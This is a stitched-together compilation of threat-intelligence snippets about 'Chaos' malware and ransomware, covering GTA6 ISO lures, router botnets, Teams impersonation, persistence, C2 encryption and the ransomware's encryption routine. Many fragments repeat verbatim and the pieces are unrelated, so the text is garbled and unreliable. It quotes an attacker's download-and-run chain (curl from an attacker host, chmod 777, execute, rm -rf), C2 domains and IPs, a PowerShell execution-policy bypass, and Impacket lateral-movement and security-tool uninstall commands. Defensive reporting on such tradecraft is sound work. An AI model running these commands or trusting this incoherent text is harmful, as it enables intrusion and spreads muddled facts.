Chaos

Malicious GTA6 ISO files were distributed through search engine optimization (SEO) poisoning, gaming forums, social media, and torrent sites.

Ransomware operators continued to rely on a consistent set of Tactics, Techniques, and Procedures (TTPs), including exploitation of internet-facing edge devices and remote management tooling, abuse of valid accounts, credential theft.

Version 1.0; released on 9 June 2021: Replaces file data with random bytes and then encodes it with Base-64. From the outset, it has worming capability, distributing itself to all drives.

the winning vulnerability (Chaos) has been aggressively used to target Uyghurs

Social engineering was the most consistently reported initial access theme of the quarter and shifted from email to interactive impersonation on enterprise collaboration platforms.

"...enter their credentials into an unknown login page, which ultimately provided access to the account."

Multiple groups gained access by contacting employees via Microsoft Teams, posing as internal IT support, then guiding the target through a screen-sharing session to install a Remote Monitoring and Management (RMM) tool.

"Examples include shared use of Msiexec, WMIC and PowerShell LoLBins" and the Duo uninstall via "wmic product ... call uninstall"

the adversary used Scheduler tasks set up by modifying group policies. This enabled the adversary to execute these on all machines in the domain at the same time

Chaos is a cross-platform malware that can run remote shell commands...

"...PowerShell version 1.0... execution policy can be easily bypassed using inline execution 'powershell.exe -ExecutionPolicy Bypass'"

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 2 Execution (TA0002) T1106: Native API T1059.003: Windows Command Shell

This, in turn, initiates several shell commands: curl ... chmod 777 ... ./7c49006c2e417f20c732409ead2d6cc0. ... rm -rf ...

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 2 Execution (TA0002) T1106: Native API

In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

Infection begins when a victim mounts the malicious ISO and launches gta6installer.exe.

the adversary used Scheduler tasks set up by modifying group policies. This enabled the adversary to execute these on all machines in the domain at the same time

Ransomware operators continued to rely on a consistent set of Tactics, Techniques, and Procedures (TTPs), including exploitation of internet-facing edge devices and remote management tooling, abuse of valid accounts, credential theft.

"...maintained persistence by changing account passwords to lock users out."

the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub. Figure 2: The creation of the systemd persistence service.

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 3 Persistence (TA0003) T1547 Boot or Logon Auto-start Execution

For example, the persistence mechanism was always via the registry, but the exact implementation differed by family. Most of the time, autorun was used, but we’ve also seen them using the startup folder.

While the Chaos ransomware variant copied itself to $ user \ $ appdata \ cmd . exe and launched a new process, the new process in turn created a new file in the startup folder: $ user \ $ appdata \ Microsoft \ Windows \ Start Menu \ Programs \ Startup \ cmd . url . This contained the path to the ransomware file

the adversary used Scheduler tasks set up by modifying group policies. This enabled the adversary to execute these on all machines in the domain at the same time

Cross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandler function in the handler.go component.

Ransomware operators continued to rely on a consistent set of Tactics, Techniques, and Procedures (TTPs), including exploitation of internet-facing edge devices and remote management tooling, abuse of valid accounts, credential theft.

"...maintained persistence by changing account passwords to lock users out."

they tried distributing and running malware through the task scheduler and modified group policies to save malicious tasks for the entire domain

the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub. Figure 2: The creation of the systemd persistence service.

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 3 Persistence (TA0003) T1547 Boot or Logon Auto-start Execution

For example, the persistence mechanism was always via the registry, but the exact implementation differed by family. Most of the time, autorun was used, but we’ve also seen them using the startup folder.

While the Chaos ransomware variant copied itself to $ user \ $ appdata \ cmd . exe and launched a new process, the new process in turn created a new file in the startup folder: $ user \ $ appdata \ Microsoft \ Windows \ Start Menu \ Programs \ Startup \ cmd . url . This contained the path to the ransomware file

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 4 Defensive Evasion (TA0005) T1027: Obfuscated Files or Information

Numerous executables and scripts are written to %TEMP%, several using filenames intended to resemble legitimate GTA, Rockstar Games, Steam, or Windows components.

...runs the binary before deleting traces.

rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

Ransomware operators continued to rely on a consistent set of Tactics, Techniques, and Procedures (TTPs), including exploitation of internet-facing edge devices and remote management tooling, abuse of valid accounts, credential theft.

./7c49006c2e417f20c732409ead2d6cc0. - executes the malware

"Examples include shared use of Msiexec..." and "...services.exe, ... msiexec.exe ..."

chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.

they tried distributing and running malware through the task scheduler and modified group policies to save malicious tasks for the entire domain

"...uninstalling Duo from the host"

Post-compromise activity frequently involved disabling endpoint security tools and harvesting credentials stored in browsers before ransomware deployment.

Chaos is a cross-platform malware that can run remote shell commands, deploy additional modules, propagate via SSH brute-forcing...

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software.

Some adversaries lend legitimacy to the situation by supplying the victim with organization-tailored credential-harvesting domains to capture credentials, SSO credentials, and MFA codes in real time during the attack.

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 1 Discovery (TA0007) T1016: System Network Configuration Discovery

For example, it searched the following file paths and extensions to infect: Directories \Contacts \Desktop \Documents \Downloads ...

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 1 Discovery (TA0007) T1016: System Network Configuration Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1049: System Network Connections Discovery

"...using Windows command line utilities like 'ipconfig /all'... 'nltest /dclist'... and 'quser.exe'..."

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 1 Discovery (TA0007) T1016: System Network Configuration Discovery T1083: File and Directory Discovery

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 1 Discovery (TA0007) T1016: System Network Configuration Discovery T1083: File and Directory Discovery T1135: Network Share Discovery

It also has the kind of tradecraft defenders should not shrug off: social engineering, remote-management abuse, payload retrieval, staging, and leaked data.

"To move laterally within the environment, the adversary used Microsoft Remote Desktop..."

"...leveraged Impacket’s 'atexec.py' module to execute commands remotely..." and "...used Impacket to execute commands remotely over SMB or WMI..." | "...used ADMIN$ administrative shares to propagate malware."

Chaos was first documented by Lumen Black Lotus Labs in September 2022, describing it as a cross-platform malware capable of targeting Windows and Linux environments to run remote shell commands, drop additional modules, propagate to other hosts by brute-forcing SSH keys

"During the Microsoft Teams session, the adversary guided the user to launch Microsoft Quick Assist and enter their credentials into an unknown login page"

Version 1.0; released on 9 June 2021: Replaces file data with random bytes and then encodes it with Base-64. From the outset, it has worming capability, distributing itself to all drives.

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 5 Collection (TA0009) T1005: Data from Local System

Embedded C2s: quanquandd[.]top:8888 linuxddos[.]net:2323 ai.nqb001[.]com:7812 tomca1[.]com:10099 ... Staging C2s (September 2022) 154.211.21[.]221 154.19.202[.]14 ...

The new 64-bit ELF binary has removed SSH propagation and router exploit functions, replacing them with a SOCKS proxy feature to ferry traffic and conceal malicious activity.

When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy.

Taking their place is a new SOCKS proxy feature that allows the compromised system to be used for ferrying traffic, thereby concealing the true origins of malicious activity and making it harder for defenders to detect and block the attack.

Examples include 'Chaos provides a reverse shell connection on 8338/TCP, encrypted via AES,' 'Winnti for Linux has used a custom TCP protocol with four-byte XOR for command and control,' and 'XCSSET uses RC4 encryption over TCP to communicate with its C2 server.'

curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.

Multiple groups gained access by contacting employees via Microsoft Teams, posing as internal IT support, then guiding the target through a screen-sharing session to install a Remote Monitoring and Management (RMM) tool, such as AnyDesk/QuickAssist, or to execute a delivered payload.

The content is a catalog of malware and threat groups that encrypt command-and-control communications using algorithms such as DES, AES, RC4, XOR, Blowfish, RSA, Camellia, RC2, RC6, and custom ciphers.

"3PARA RAT command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode..."; "APT33 has used AES for encryption of command and control traffic."; "Carbanak encrypts the message body of HTTP traffic with RC2 (in CBC mode)."; "Duqu ... data stream can be encrypted with AES-CBC."; "PoisonIvy uses the Camellia cipher to encrypt communications."

Dans plusieurs incidents, l’accès établi a été exploité pour déployer le ransomware Chaos , combinant exfiltration de données et chiffrement.

The extortion model continued its shift from encryption toward data theft-only operations.

The group continued to rely on compromised VPN devices for initial access and exfiltrated data through legitimate file-sharing services.

Files larger than 200 MB are overwritten with random data, effectively destroying their contents.

Files of 200 MB or smaller are encrypted using AES with a randomly generated 20-character password and assigned a random four-character extension.

TTPs based on MITRE ATT&CK Framework: Sr No. Tactic Technique 6 Impact (TA0040) T1486: Data Encrypted for impact T1489: Service Stop

The ransomware disables recovery options, deletes drive shadow copies, and modifies boot configuration settings to disable recovery and ignore boot failures.

In addition, it gives the ransomware builder’s users the ability to add their own extensions to affected files and the ability to change the desktop wallpaper of their victims.

Chaos is a cross-platform malware that can run remote shell commands, deploy additional modules, propagate via SSH brute-forcing, mine cryptocurrency...

the functions to perform DDoS attacks are still present, with methods that target the following protocols: HTTP TLS TCP UDP WebSocket